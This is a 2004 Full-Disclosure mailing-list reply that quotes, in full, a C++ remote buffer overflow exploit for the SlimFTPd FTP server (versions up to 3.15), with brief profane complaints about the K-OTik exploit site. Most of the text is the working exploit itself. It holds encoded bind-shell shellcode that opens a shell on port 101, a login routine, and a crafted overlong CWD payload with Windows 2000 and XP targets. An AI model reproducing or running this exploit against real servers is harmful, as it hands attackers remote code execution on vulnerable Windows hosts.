so what youre saying is that k-otik actually fucks up the exploits before posting them? which i actually find to be plausible since a lot of the exploits posted there has not been functional
assholes... On Wed, 10 Nov 2004 15:27:54 +0100, class 101 <[EMAIL PROTECTED]> wrote: > > My nice words again are to kotik biatch. > clean code on my website. > > > /* > > > > SlimFTPd <= 3.15, Remote Buffer Overflow Exploit v0.1. > Bind a shellcode to the port 101. > > Full disclosure and exploit > by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet > 10 november 2004 > > Thanx to HDMoore and Metasploit.com for their kickass ASM work. > > > ------------------ > WHAT IS SLIMFTPD > ------------------ > > Homepage - http://www.whitsoftdev.com/slimftpd/ > > SlimFTPd is a fully standards-compliant FTP server implementation with an > advanced > virtual file system.It is extremely small, but don't let its file size > deceive you: > SlimFTPd packs a lot of bang for the kilobyte. It is written in pure Win32 > C++ with > no external dependencies and no messy installer. SlimFTPd is a fully > multi-threaded > application that runs as a system service on Windows 98/ME or Windows > NT/2K/XP, and > it comes with a tool to simplify its installation or uninstallation as a > system service. > Once the service is started, SlimFTPd runs quietly in the background. > It reads its configuration from a config file in the same folder as the > executable, > and it outputs all activity to a log file in the same place. > The virtual file system allows you to mount any local drive or path to any > virtual > path on the server. This allows you to have multiple local drives > represented on the > server's virtual file system or just different folders from the same drive. > SlimFTPd allows you to set individual permissions for server paths. > Open slimftpd.conf in your favorite text editor to set up SlimFTPd's > configuration. > The format of SlimFTPd's config file is similar to Apache Web Server's for > those > familiar with Apache. > > > -------------- > VULNERABILITY > -------------- > > A simple buffer overflow when a large buffer is passed to different > commands, > CWD, STOR, MKD, STAT etc.., nothing more, the attacker need to be logged > in, > read the code for further instructions. > > ---- > FIX > ---- > > Actually none, the vendor is contacted, is warning users, and working on a > fix. > > ---- > EXTRA > ---- > > Ok I'll try to explain what happen in this one with my crap english... > As you can notice , I havent used as usual a CALL/JMP offset address from a > DLL. > Why ? Because if you debug, you will notice that we are able to overwrite > only 3/4 bytes of EIP maximum due to a buffer length restriction in the ftp > server (~500bytes). > The 4th byte will always point to 00. But this 00 is enough helpful to fake > there my > magic ret ;p > Ok once you understand what is this magic ret , I think that you > understanded all there... > > ---- > BY > ---- > > class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet > who > F.U.C.K > K-OTik.com displaying the half part of codes they receive > (also some other friends to me noticed it..., another ie: > JPEG Exploits, 6 or 7 mirrors displayed, poor assh0les...) > > > */ > > #include "winsock2.h" > #include "fstream.h" > > > char scode[] = "\xEB" > "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF" > "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D" > "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9" > "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C" > "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89" > "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03" > "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F" > "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88" > "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61" > "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9" > "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C" > "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8" > "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68" > "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F" > "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23" > "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89" > "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9" > "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77" > "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77" > "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77" > "\x58\x68\x61\x63\x6B\x90"; > > char cmd[]="CWD "; > char call[]="\xb2\x06\x40"; // Magicret ;p > > #pragma comment(lib, "ws2_32") > > > void usage(char* us); > WSADATA wsadata; > void ver(); > > static char payload[5000]; > > int main(int argc,char *argv[]) > { > ver(); > if > ((argc<5)||(argc>6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return > -1;} > if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: > "<<WSAGetLastError()<<endl;return -1;} > char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100], > recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100], > pdbuf2[100]; > int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port; > if (argc==6){port=atoi(argv[5]);} > else port=21; > char *os; > if (atoi(argv[1]) == 1){os="Win2k based system";} > if (atoi(argv[1]) == 1){os="Win2k based system";} > if (atoi(argv[1]) == 2){os="WinXP based system";} > if (atoi(argv[1]) == 2){os="WinXP based system";} > SOCKET s; > struct fd_set mask; > struct timeval timeout; > struct sockaddr_in server; > s=socket(AF_INET,SOCK_STREAM,0); > if (s==INVALID_SOCKET){ cout<<"[+] socket() error: > "<<WSAGetLastError()<<endl;WSACleanup();return -1;} > cout<<"[+] target: "<<os<<endl; > server.sin_family=AF_INET; > server.sin_addr.s_addr=htonl(ip); > server.sin_port=htons(port); > WSAConnect(s,(struct sockaddr > *)&server,sizeof(server),NULL,NULL,NULL,NULL); > timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); > switch(select(s+1,NULL,&mask,NULL,&timeout)) > { > case -1: {cout<<"[+] select() error: > "<<WSAGetLastError()<<endl;closesocket(s);return -1;} > case 0: {cout<<"[+] connect() error: > "<<WSAGetLastError()<<endl;closesocket(s);return -1;} > default: > if(FD_ISSET(s,&mask)) > { > cout<<"[+] connected, login in process..."<<endl; > Sleep(100);recv(s,recvbuf2,100,0); > if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server, > quitting..."<<endl;return -1;} > strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS > ");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"\r\n"); > if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error > during the login processus, check the ftp."<<endl;return -1;} > if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error > during the login processus, check the ftp."<<endl;return -1;} > if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during > the login processus, check the ftp."<<endl;return -1;} > Sleep(1000); > if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error > during the login processus, check the ftp."<<endl;return -1;} > if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error > during the login processus, check the ftp."<<endl;return -1;} > if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during > the login processus, check the ftp."<<endl;return -1;} > Sleep(1000); > if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the > login processus, check the ftp."<<endl;return -1;} > if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or > passwd"<<endl;return -1;} > cout<<"[+] login success!"<<endl;Sleep(1000);cout<<"[+] sending the > exploit string"<<endl; > if (atoi(argv[1]) == 1){lgth=500+1;} > if (atoi(argv[1]) == 2){lgth=498+1;} > sizeA=lgth-sizeof(scode); > sz=(sizeA-1)+sizeof(scode)+10; > memset(payload,0,sizeof(payload)); > strcat(payload,cmd);strcat(payload,"\x41\x41\x41"); > strcat(payload,scode); > for (a=0;a<sizeA;a++){strcat(payload,"\x41");} > strcat(payload,call); > strcat(payload,"\r\n"); > Sleep(1000); > if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] > sending error, the server prolly rebooted."<<endl;return -1;} > if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending > error, the server prolly rebooted."<<endl;return -1;} > Sleep(1000); > cout<<"[+] size of payload: "<<sz<<endl; > cout<<"[+] payload send, connect the port 101 to get a shell."<<endl; > return 0; > } > } > closesocket(s); > WSACleanup(); > return 0; > } > > void usage(char* us) > { > cout<<"USAGE: 101_slim.exe Target Login Pass Ip Port\n"<<endl; > cout<<"TARGETS: "<<endl; > cout<<" [+] 1. Win2k SP4 English Pro (*)"<<endl; > cout<<" [+] 1. Win2k SP4 English Server (*)"<<endl; > cout<<" [+] 1. Win2k all others "<<endl; > cout<<" [+] 2. WinXP SP1 English Pro (*)"<<endl; > cout<<" [+] 2. WinXP SP1 French Pro (*)"<<endl; > cout<<" [+] 2. WinXP all others "<<endl; > cout<<"NOTE: "<<endl; > cout<<" The port 21 is default if no port are specified"<<endl; > cout<<" The exploit bind a shellcode to the port 101"<<endl; > cout<<" A wildcard (*) mean Tested."<<endl; > return; > } > void ver() > { > cout<<endl; > cout<<" > "<<endl; > cout<<" > ===================================================[v0.1]===="<<endl; > cout<<" ========SlimFTPd, Tiny FTP Server for Windows <= > v3.15======="<<endl; > cout<<" =============Remote Buffer Overflow > Exploit=================="<<endl; > cout<<" ====coded by class101===========[DFind.kd-team.com > 2004]====="<<endl; > cout<<" > ============================================================="<<endl; > cout<<" > "<<endl; > } > -- smile tomorrow will be worse _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
